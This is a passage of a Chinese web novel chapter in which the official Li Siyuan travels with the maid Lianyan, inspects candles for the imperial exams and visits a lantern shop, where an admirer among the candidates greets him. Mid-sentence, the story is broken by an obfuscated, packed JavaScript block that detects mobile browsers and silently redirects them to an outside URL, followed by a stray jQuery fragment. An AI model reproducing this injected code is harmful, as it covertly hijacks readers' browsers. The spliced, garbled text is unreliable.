马车上,敛烟看着旁边红月的遗物,她有些不确定刚才厉思远是不是真的要去给红月亲自送遗物。
一个歌姬,何至于他这样大费周章?
敛烟有一瞬间的后悔,她应该先答应花奴跟他一起走的,她心里其实着实有些担心母亲和弟弟,也不知道他们过得好不好。
至于说花奴对她的暗示,可以到时候再说。
想到这里,敛烟抬眸看向厉思远,他手里正拿着一卷书看。
“那个大人……”听见敛烟喊自己,厉思远微微抬眸看向她,就听见敛烟道:“您每天那么忙,还、还要参与组织科考,不如我过几日和花奴一起去给红月家人送她的东西吧?”
“应该也用不上一月,就能回来,我……”
“不行。”厉思远打断了她,直截了当拒绝了:“花奴是天下阁阁主,说到底也是个杀手组织,他仇人很多,你跟着他不安全。”
“我知道你担心敛夫人和敛小公子,我今日收到消息本想告诉你,但是因为事情耽误了。”
“我已经派人去把他们保护起来,你放心,他们不会受到任何伤害,只是京城危险,只能暂时让他们委屈一下。”
敛烟看了他一眼,原来厉思远也找到了母亲和弟弟。
他顿了顿,又道:“况且,去那红月所在的村子,会路过永昌山。”
永昌山。
是那位申太医失踪前最后被目击的地方。
厉思远看到敛烟恍然的神色,说道:“等到科考结束,我们一同去看能不能找到什么线索。”
“到时候,我会亲自带你同去西北找到夫人和小公子。”
敛烟看着厉思远,他的眼眸中似乎有着化不开的悲伤。
她不知道的是,厉思远得到单听云和敛承允的消息后,又多番打听,却没有找到敛烟的消息。
就连单听云也亲口承认,敛烟死在了流放的路上。
厉思远即便再有心理准备,却还是忍不住心中酸涩的苦意。
马车骨碌碌朝前走去,车外忽然下起小雨,滴滴答答地打在车篷上,马车内一时间寂静无声。
过了一会儿,敛烟又开口问道:“大人,那空白书信还是没什么头绪?”
自从审讯王雨生找到证物以后,厉思远便一直在找人询问是否会有那种写上去却看不出来字迹的物品。
但得出的结论都是没有人见过这种东西。
而且厉思远也着人查看过了,那书信除了因为年月比较久而有一些氧化和折痕外,看不出上面有写字的迹象。
所以这条线索,算是断了。
厉思远摇摇头:“对不住,我已经遍寻了周围的办案人员,确实没有头绪。”
敛烟“哦”了一声,默默看向窗外掠过的景色。
厉思远见她闷闷不乐的模样,轻咳了一声,把手边的绿豆糕朝敛烟旁边挪了挪:
“吃点吧,这家糕点还不错。”
敛烟不客气地伸手拿了一块,这段时间或许是由于她身份的原因,厉思远对她很是客气,两个人说话也都少有隔阂。
但敛烟其实还是有点不自在,特别是自从知道厉思远对她的心思后。
若是放在平时,一块绿豆糕她一口就能吞下去,但今天她却坐直了身子,小口小口咬起来。
放着绿豆糕的食盒下应当是有冰块,咬起来冰冰凉凉的,入口即化,让敛烟忍不住哇地一声两眼放光。
厉思远认认真真地朝敛烟说道:“我知道你对你们家小姐忠诚,我也一定会帮敛家找到真相,定不会让忠臣蒙冤而死。”
“所以不要跟花奴去,跟我一起。”
敛烟瞧着厉思远认真的模样,尤其是在说最后一句话,就像是在吃醋。
虽然知道不可能,但她的心还是快要跳出来了。
敛烟连忙垂下头,小小声道:“是,苗儿替小姐谢过大人。”
*
科考的日子越来越近了。
数以万计的考生涌入京城,从城东到城西,每一间客栈都住满了背着行囊、手持书卷的读书人,盛况空前。
这天下朝后,厉思远便径直去了吏部。
吏部尚书汪鸿福见厉思远来了,连忙恭恭敬敬地迎了上来。
厉思远问了一些科考的准备情况,他都一一作答。
这时,门外走进来一个小太监,朝汪鸿福行礼:“大人,科考用的蜡烛到了。”
厉思远正好想看看蜡烛的准备情况,两个人便一同去了存放蜡烛的仓库。
仓库很闷热,贺禹就靠在装着蜡烛的木箱旁边,大汗淋漓地喘气。
他此前握有陆景明贿赂考官的书信,一直用这件事来逼迫陆景明替自己和陆巧香牵线。
贺禹父母都是平民,平时靠着做点小本生意过活,所以他所求不多,只想着能攀上南陵侯府这样的家族就好了。
但可惜,陆巧香去了一趟临州就意外眼盲,而他手里的书信也被那考官知道,那考官直接打上门把书信给一把火烧了。
好在陆景明并不知道书信被烧毁,他趁着陆景明大婚的时候,他才去了虞园想要借机再多敲诈一把,然后就离开京城去其他地方潇洒。
结果真的是苍天有眼,竟然还叫他目睹了陆景明杀死许会的现场,让他又有了一个可以挟持陆景明的把柄。
陆巧香眼盲了,据说脾气也不大好,整日整日把自己关在家里面摔东西,自己可不会娶这样的一个人。
所以他就让陆景明给自己在宫里面找一个官职。
陆景明还真的答应了下来,正当贺禹满心期许着入宫做大官的时候,却发现陆景明竟然给他介绍去做了科举的转运使。
美其名曰转运使,实际上就是个管蜡烛的小官,甚至比杂役还要第一人一等。
而且这么热的天,让他亲自去做蜡烛的地方把这几十箱蜡烛运回来,可把他这个身子骨文弱的书生累个半死。
原来转运使的运字,竟真的是让自己去运东西!
陆景明也和他说过,若是这次差事办好了,以后会给他介绍更好的位置,但贺禹还是难免心里有怨言。
他正在仓库里面怨气冲天时,就听见外面传来了声音,听着好像是哪些大人。
他连忙站直在原地,就看到厉思远和汪鸿福推门走了进来。
贺禹虽然没有当过官,但这京城的权贵可都被他摸的清清楚楚,看到厉思远以后他立刻谄媚上前:
“小人贺禹见过两位大人,小人是负责这次蜡烛转运的贺禹,这蜡烛是刚刚运过来的,您看,封条完好,绝对不会出一点岔子。”
进门连话都没说,贺禹就率先开始介绍自己,又介绍工作,一副显而易见的邀功姿态。
厉思远淡淡瞥了一眼他,这人似乎有些眼熟。
好像和陆景明走的很近。
厉思远厌恶陆景明,连带着也厌恶和他走的近的人,所以贺禹说完话他就没有接话,而是径直走到存放蜡烛的箱子前,仔细查看上面的封条。
汪鸿福见厉思远都没有说话,也感受到他莫名的低气压,十分有眼力见地朝贺禹摆摆手:“你先下去吧。”
贺禹没有和两位大人说上什么话,满心不情愿地退下去了。
厉思远查看完封条,又问了些数量和存放的问题,汪鸿福也都一一作答。
末了,厉思远又问:“这制作蜡烛的是宫外么?如果不是我们宫内自己的地方,那很容易被人钻了空子。”
汪鸿福笑着捋了捋胡须:“嗨呀,厉大人您就放心吧,每年的蜡烛都是由奉灯坊统一制作的,从未出现过什么问题。”
“您若是不相信,可以自行去看看,那作坊的掌柜和我很熟的!”
厉思远又查看了一些其他准备工作,见天色尚早,便离宫去了那奉灯坊。
奉灯坊在京城东市附近,铺面很大,外面的装饰看起来也是用心打造过的,铺面是两层小阁楼,阁楼檐角挂着一排排形色各异的纸灯笼,有金色龙凤灯笼,也有小兔灯笼,做工十分精美,不愧是为皇室供货的店铺。
厉思远走到门口,就看到一个年轻男子坐在柜台里面,他身边摆满了未做完的灯笼骨架,还有一盒盒白蜡。
他正持着一卷书读的入迷,连门口进来人都没有发现。
厉思远打量了一下店面后,轻咳了一声:“你好?”
那人仿佛已经进入书本里面了,露出如痴如醉的表情,愣是没有听见厉思远说话。
厉思远把身子朝柜台倾了倾,正打算开口说话,却听见一个暴喝声:
“荀子轩!你干什么呢!有客人没看到吗?”
那位看书的年轻人被吓了一跳,差点把书扔掉,一个中年男人这个时候从柜台后面的房间里走了出来,先是瞪了那名叫荀子轩的人一眼,随后迅速换上笑容热情地看向厉思远:
“这位公子,您……是想要选购什么?我们铺子里啊灯笼、蜡烛、烛台这些都能做!”
“七夕节也要到了,我们铺子特别制作的比翼鸟灯笼,送给心上人刚刚好!”
中年人叫荀永,他热情地介绍起来自家的铺子,他瞧着这位年轻公子器宇轩昂、气质不凡,一定是一个有钱的主顾。
七夕节?
厉思远想起来了,再过一段时间,就要七夕了。
他本想直接亮出身份,又犹豫了一下,脑海中莫名浮现了一个身影。
厉思远用食指在柜台上轻轻敲击,想了一下后道:
“除了店面里挂着的这些,还有什么其他款式的灯笼?”
荀永一听,就知道生意来了,咧嘴笑着示意荀子轩从货架里面取出一摞压扁的纸灯笼,放在了厉思远面前,如数家珍:
“这些是我们店里全部的款式,您要是看好了,我们这边可以替您把灯笼纸套在骨架上。”
厉思远翻看着各式的花样,有金鱼、小狗、樱花等等花样。
他拿起一盏兔儿灯细细查看,那兔儿做的活灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268754|182205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活现,很像某人扑闪着大眼睛,总是蹦出一些稀奇古怪想法。
直接送一个太突兀了,不如给他们所有人都买一个吧?
厉思远正想的入神,就感受到背后鬼鬼祟祟凑过来一个人,他猛地回头。
“哇!你吓死我了!”
舒子野一个尖叫窜出去,厉思远无语:
“你自己凑过来,怪我?”
舒子野抚摸了一下自己受到惊吓的小心脏,另一只手把玩着那两颗圆形玉石,露出了贱兮兮的表情:
“我说远哥,刚才我都听到了,说!你给谁挑七夕节礼物?”
厉思远完全没有被抓包的心虚,反而疑惑看向舒子野:
“什么七夕节礼物,你听错了吧?”
舒子野没想到他竟然这么说,整个人都傻眼了,他看向柜台里面的荀永:
“他刚才是这么说的,对吧?”
荀永一时间也有些摸不清楚情况,他犹豫地看了一眼厉思远,却见一枚金色的令牌摇摇晃晃出现在他眼前,“厉思远令”四个大字让他的话在嘴里绕了个圈变成了:
“厉……厉思远大人?”
“你是厉思远大人?!”
一个比荀永声音更大的叫喊声从柜台后传来,只见刚才一直低着头不说话的荀子轩,忽然抬起头,一脸惊喜地看了过来。
他冲到柜台旁边的小门,将上面的门闩拨开,搓着手来到厉思远面前,脸色因为激动有些微微泛红,呼吸都变得急促起来。
“大、大人,那个……”荀子轩忽然想到自己好像没有行礼,匆忙拢起袖子作了揖:“早、早就听闻您的事迹,小人仰慕您许久……”
“我、我没想到在这里能见到您,原还想着能在考场见到您已经是万幸……”
荀子轩激动的有些语无伦次,还是舒子野走过来揽住他的肩膀:
“哎呀子轩兄,不要这么激动,淡定淡定!”
他看向一脸困惑的厉思远,眨眨眼:
“我今天来原也是找子轩兄出去吃酒的,他啊可仰慕你了,说你为民请命,不与世俗同流合污啥啥的,子轩兄他们好几个人都十分仰慕你,还说趁着这次科举大家都来京城一起聚一聚……哎——正巧!”
舒子野眼睛一亮,拍了拍荀子轩的肩,朝厉思远热情道:
“择日不如撞日,不然我们今天就一起去吃酒吧?我在蜀味轩订了雅间,风景特别好!”
厉思远蹙了一下眉,他向来喜欢将事情安排的井井有条,对于这种突如其来的邀请甚是抗拒,再者说……
他看了看低着头藏不住欣喜的荀子轩。
科举在即,他作为负责人和这些考生接触,容易惹人怀疑。
他刚想开口拒绝,舒子野又凑到他跟前,低声道:
“先别急着拒绝,这次来京参加科考的里面有个人,是申太医的侄子,你不是跟我说想要打听这个事情么?我可是费了好大劲儿才和他们熟络起来的。”
“你放心,兄弟我那个雅间很隐蔽,不会被人发现的。”
厉思远拒绝的话到了嘴边,听到这话后心念一动,转而道:
“……好。”
荀子轩原本已经激动的眼睛中爆发出了更加夺目的光芒,自己竟然要和偶像吃饭?这简直像是在做梦!
这边荀子轩心中雀跃万分,那边厉思远向目瞪口呆的荀永打探起科考蜡烛的情况。
“听说你们一直供给科考用的蜡烛?”
荀永连忙毕恭毕敬道:“是的,小人不才,只会做一些烛火生意。”
“你们制作蜡烛的时候是否有专人看管?这次有没有什么异常情况?”
荀永不敢怠慢,仔细回忆了一下应道:“回大人,制作蜡烛一直是由宫里面的礼官大人带兵看守,若是说异常情况……”
他皱了皱眉:“小人没觉得有什么异常,要说和以前不一样的,就是这次礼官换人了。”
厉思远眯起眼睛:“换人了?换成谁了?”
荀永挠了挠头:“好像姓陆?然后那位运蜡烛的管事也换了个人,叫什么贺禹?”
陆景明和贺禹。
厉思远皱了皱眉,陆景明是陛下指定的官职,这倒是不算什么新鲜事,但贺禹……
他想起今天在殿中遇到贺禹的模样,心念一动。
回去要好好查一下这个贺禹了。
“公务办完没有厉大人?”身后响起舒子野阴阳怪气的语调:“快快快,我要饿死了!”
厉思远斜睨了他一眼,转身递给荀永一块银子:“烦请刚才拿出来的灯笼款式都帮我打包一份送到大理寺。”
荀永嘴都要咧到耳后根了:“哎!好咧!”
厉思远说完,转身大步迈出奉灯轩,荀子轩理了理衣服亦步亦趋跟上,独留舒子野在铺子里愣住。
半晌,舒子野反应过来了,七手八脚冲出门外,边跑边喊:
“哎!你还说不是买七夕节礼物?给我说清楚!!”